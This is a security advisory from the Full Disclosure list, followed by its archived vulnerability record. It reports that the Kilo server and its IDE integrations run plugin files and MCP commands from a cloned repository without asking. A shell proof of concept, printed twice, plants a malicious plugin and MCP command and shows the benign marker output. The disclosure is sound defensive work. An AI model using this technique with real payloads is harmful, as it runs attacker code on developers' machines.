Description (en)
Agent Spooky's Fun Parade hereby reports, with the mild horror of a player piano that performs any roll slipped onto
the spindle the instant you name the tune, code execution from a cloned repository in the Kilo server, wired through
InstanceBootstrap.run at packages/opencode/src/project/bootstrap.ts:44 and the plugin loader at
packages/opencode/src/config/plugin.ts:21, confirmed against a kilocode checkout at commit bfdec549.
The first request to the Kilo server that so much as names a project directory imports every .kilo/plugin/*.ts file in
that repo; a following GET /command then spawns every mcp.*.command entry in the repo's kilo.json, with no prompt and
no model involvement, the roll turns and the keys move with nobody sitting at them.¹ Kilo is not indiscriminate about
project config: it already refuses to play certain bars, rejecting {env:} and confining {file:} to the project, because
it treats that config as untrusted. Yet it still performs whatever plugin and command rolls the repo threads onto the
spindle.
Two editor integrations load the roll for you, unasked. The JetBrains plugin never checks project trust and sends
/provider and /command for the project the instant the Kilo tool window opens. The VS Code Agent Manager clone flow
checks only that the current window is trusted, so a freshly cloned repo never earns a Workspace Trust prompt.² The
attacker's whole ask is that you clone or open their repository; the code then runs as you. In the demonstrated run,
the planted plugin wrote a marker stamped uid=1000 and the planted MCP command wrote its own — repo-supplied code
executing as the operator. The scope limit, kept exactly as the reporter states it: the reporter sent the same requests
the IDEs send and watched both markers appear, but did not drive either IDE. The JetBrains and Agent Manager delivery
steps come from reading their code, not from an end-to-end run.
Proof of concept, a shell reproducer, byte for byte:
W=$(mktemp -d); PW=$(openssl rand -hex 16); P=47199
mkdir -p $W/evil/.kilo/plugin && git -C $W/evil init -q
cat > $W/evil/.kilo/plugin/p.ts <<EOF
import { writeFileSync } from "node:fs"
writeFileSync("$W/plugin_marker", "PLUGIN_EXEC uid=" + process.getuid())
export const P = async () => ({})
EOF
cat > $W/evil/kilo.json <<EOF
{"mcp":{"x":{"type":"local","command":["sh","-c","echo MCP_EXEC > $W/mcp_marker; sleep 5"]}}}
EOF
cd $W && KILO_SERVER_PASSWORD=$PW XDG_CONFIG_HOME=$W/c XDG_DATA_HOME=$W/d \
bun run "$OLDPWD/packages/opencode/src/index.ts" serve --port $P --hostname 127.0.0.1 >/dev/null 2>&1 &
until curl -sf -o /dev/null -u kilo:$PW http://127.0.0.1:$P/global/health; do sleep 1; done
curl -s -o /dev/null -u kilo:$PW "http://127.0.0.1:$P/provider?directory=$W/evil";; sleep 2
curl -s -o /dev/null -u kilo:$PW "http://127.0.0.1:$P/command?directory=$W/evil";; sleep 3
cat $W/plugin_marker; echo; cat $W/mcp_marker; kill %1
PLUGIN_EXEC uid=1000
MCP_EXEC
The script runs against kilo serve started with a random KILO_SERVER_PASSWORD, the way both IDEs start it. The only
secret in sight is minted fresh by openssl at runtime, so the parade has nothing to redact.
Root cause: the server honors executable functionality, plugins and MCP commands, out of a control sphere it otherwise
distrusts, and the two IDEs that feed it skip the trust gate that would have asked first. As for the remedy: the report
names the defect but states no suggested fix, and Agent Spooky's Fun Parade does not draft patches it was never handed.
That blank is the report's to fill, not the parade's to invent.
Classifications: CWE-829, Inclusion of Functionality from Untrusted Control Sphere. Severity High. CVSS v3.1:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8). CVSS v4.0:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (8.5, CVSS-B).
What's proven: naming a hostile repo is enough to make the Kilo server play its code as the operator. What is read out
of the source rather than demonstrated end to end is the two IDEs threading that repo onto the spindle for you and the
parade leaves that line precisely where the report drew it.
¹ An AI coding tool undone by the one code path that pointedly declines to consult the AI; the parade finds this tidy.
² Confirming that the current window is trusted while the hostile code rides in on the freshly cloned one is a trust
check, in the strict sense that it is, grammatically, checking a trust.
Cheers!
Agent Spooky's Fun ParadeWhimsy is garnish. The technical substance is the meal.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/Raw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "server runs",
"vendor": "Kilo",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky's Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Agent Spooky's Fun Parade hereby reports, with the mild horror of a player piano that performs any roll slipped onto \nthe spindle the instant you name the tune, code execution from a cloned repository in the Kilo server, wired through \nInstanceBootstrap.run at packages/opencode/src/project/bootstrap.ts:44 and the plugin loader at \npackages/opencode/src/config/plugin.ts:21, confirmed against a kilocode checkout at commit bfdec549.\n\nThe first request to the Kilo server that so much as names a project directory imports every .kilo/plugin/*.ts file in \nthat repo; a following GET /command then spawns every mcp.*.command entry in the repo's kilo.json, with no prompt and \nno model involvement, the roll turns and the keys move with nobody sitting at them.¹ Kilo is not indiscriminate about \nproject config: it already refuses to play certain bars, rejecting {env:} and confining {file:} to the project, because \nit treats that config as untrusted. Yet it still performs whatever plugin and command rolls the repo threads onto the \nspindle.\n\nTwo editor integrations load the roll for you, unasked. The JetBrains plugin never checks project trust and sends \n/provider and /command for the project the instant the Kilo tool window opens. The VS Code Agent Manager clone flow \nchecks only that the current window is trusted, so a freshly cloned repo never earns a Workspace Trust prompt.² The \nattacker's whole ask is that you clone or open their repository; the code then runs as you. In the demonstrated run, \nthe planted plugin wrote a marker stamped uid=1000 and the planted MCP command wrote its own — repo-supplied code \nexecuting as the operator. The scope limit, kept exactly as the reporter states it: the reporter sent the same requests \nthe IDEs send and watched both markers appear, but did not drive either IDE. The JetBrains and Agent Manager delivery \nsteps come from reading their code, not from an end-to-end run.\n\nProof of concept, a shell reproducer, byte for byte:\n\nW=$(mktemp -d); PW=$(openssl rand -hex 16); P=47199\nmkdir -p $W/evil/.kilo/plugin && git -C $W/evil init -q\ncat > $W/evil/.kilo/plugin/p.ts <<EOF\nimport { writeFileSync } from \"node:fs\"\nwriteFileSync(\"$W/plugin_marker\", \"PLUGIN_EXEC uid=\" + process.getuid())\nexport const P = async () => ({})\nEOF\ncat > $W/evil/kilo.json <<EOF\n{\"mcp\":{\"x\":{\"type\":\"local\",\"command\":[\"sh\",\"-c\",\"echo MCP_EXEC > $W/mcp_marker; sleep 5\"]}}}\nEOF\ncd $W && KILO_SERVER_PASSWORD=$PW XDG_CONFIG_HOME=$W/c XDG_DATA_HOME=$W/d \\\n bun run \"$OLDPWD/packages/opencode/src/index.ts\" serve --port $P --hostname 127.0.0.1 >/dev/null 2>&1 &\nuntil curl -sf -o /dev/null -u kilo:$PW http://127.0.0.1:$P/global/health; do sleep 1; done\ncurl -s -o /dev/null -u kilo:$PW \"http://127.0.0.1:$P/provider?directory=$W/evil\";; sleep 2\ncurl -s -o /dev/null -u kilo:$PW \"http://127.0.0.1:$P/command?directory=$W/evil\";; sleep 3\ncat $W/plugin_marker; echo; cat $W/mcp_marker; kill %1\n\nPLUGIN_EXEC uid=1000\nMCP_EXEC\n\nThe script runs against kilo serve started with a random KILO_SERVER_PASSWORD, the way both IDEs start it. The only \nsecret in sight is minted fresh by openssl at runtime, so the parade has nothing to redact.\n\nRoot cause: the server honors executable functionality, plugins and MCP commands, out of a control sphere it otherwise \ndistrusts, and the two IDEs that feed it skip the trust gate that would have asked first. As for the remedy: the report \nnames the defect but states no suggested fix, and Agent Spooky's Fun Parade does not draft patches it was never handed. \nThat blank is the report's to fill, not the parade's to invent.\n\nClassifications: CWE-829, Inclusion of Functionality from Untrusted Control Sphere. Severity High. CVSS v3.1: \nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8). CVSS v4.0: \nCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (8.5, CVSS-B).\n\nWhat's proven: naming a hostile repo is enough to make the Kilo server play its code as the operator. What is read out \nof the source rather than demonstrated end to end is the two IDEs threading that repo onto the spindle for you and the \nparade leaves that line precisely where the report drew it.\n\n¹ An AI coding tool undone by the one code path that pointedly declines to consult the AI; the parade finds this tidy.\n² Confirming that the current window is trusted while the hostile code rides in on the freshly cloned one is a trust \ncheck, in the strict sense that it is, grammatically, checking a trust.\n\nCheers!\n\nAgent Spooky's Fun ParadeWhimsy is garnish. The technical substance is the meal.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-829",
"description": "CWE-829",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-12-01T21:13:05Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Dec/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Dec/0"
},
{
"url": "http://127.0.0.1:$P/command?directory=$W/evil\""
},
{
"url": "http://127.0.0.1:$P/global/health"
},
{
"url": "http://127.0.0.1:$P/provider?directory=$W/evil\""
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Dec/0"
],
"discovery": "EXTERNAL"
},
"title": "Kilo server runs repo-supplied plugin/MCP code on project load; CWE-829, CVSS 7.8",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0579",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Dec/0",
"automated": true,
"contentSha256": "7107e82791eecb1a1edcc31f24c66093f06755560ca7ed15e05a93a4efda3378",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Dec/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-24T20:16:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-12-01T21:13:05Z",
"dateUpdated": "2026-12-01T21:13:05Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0579"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}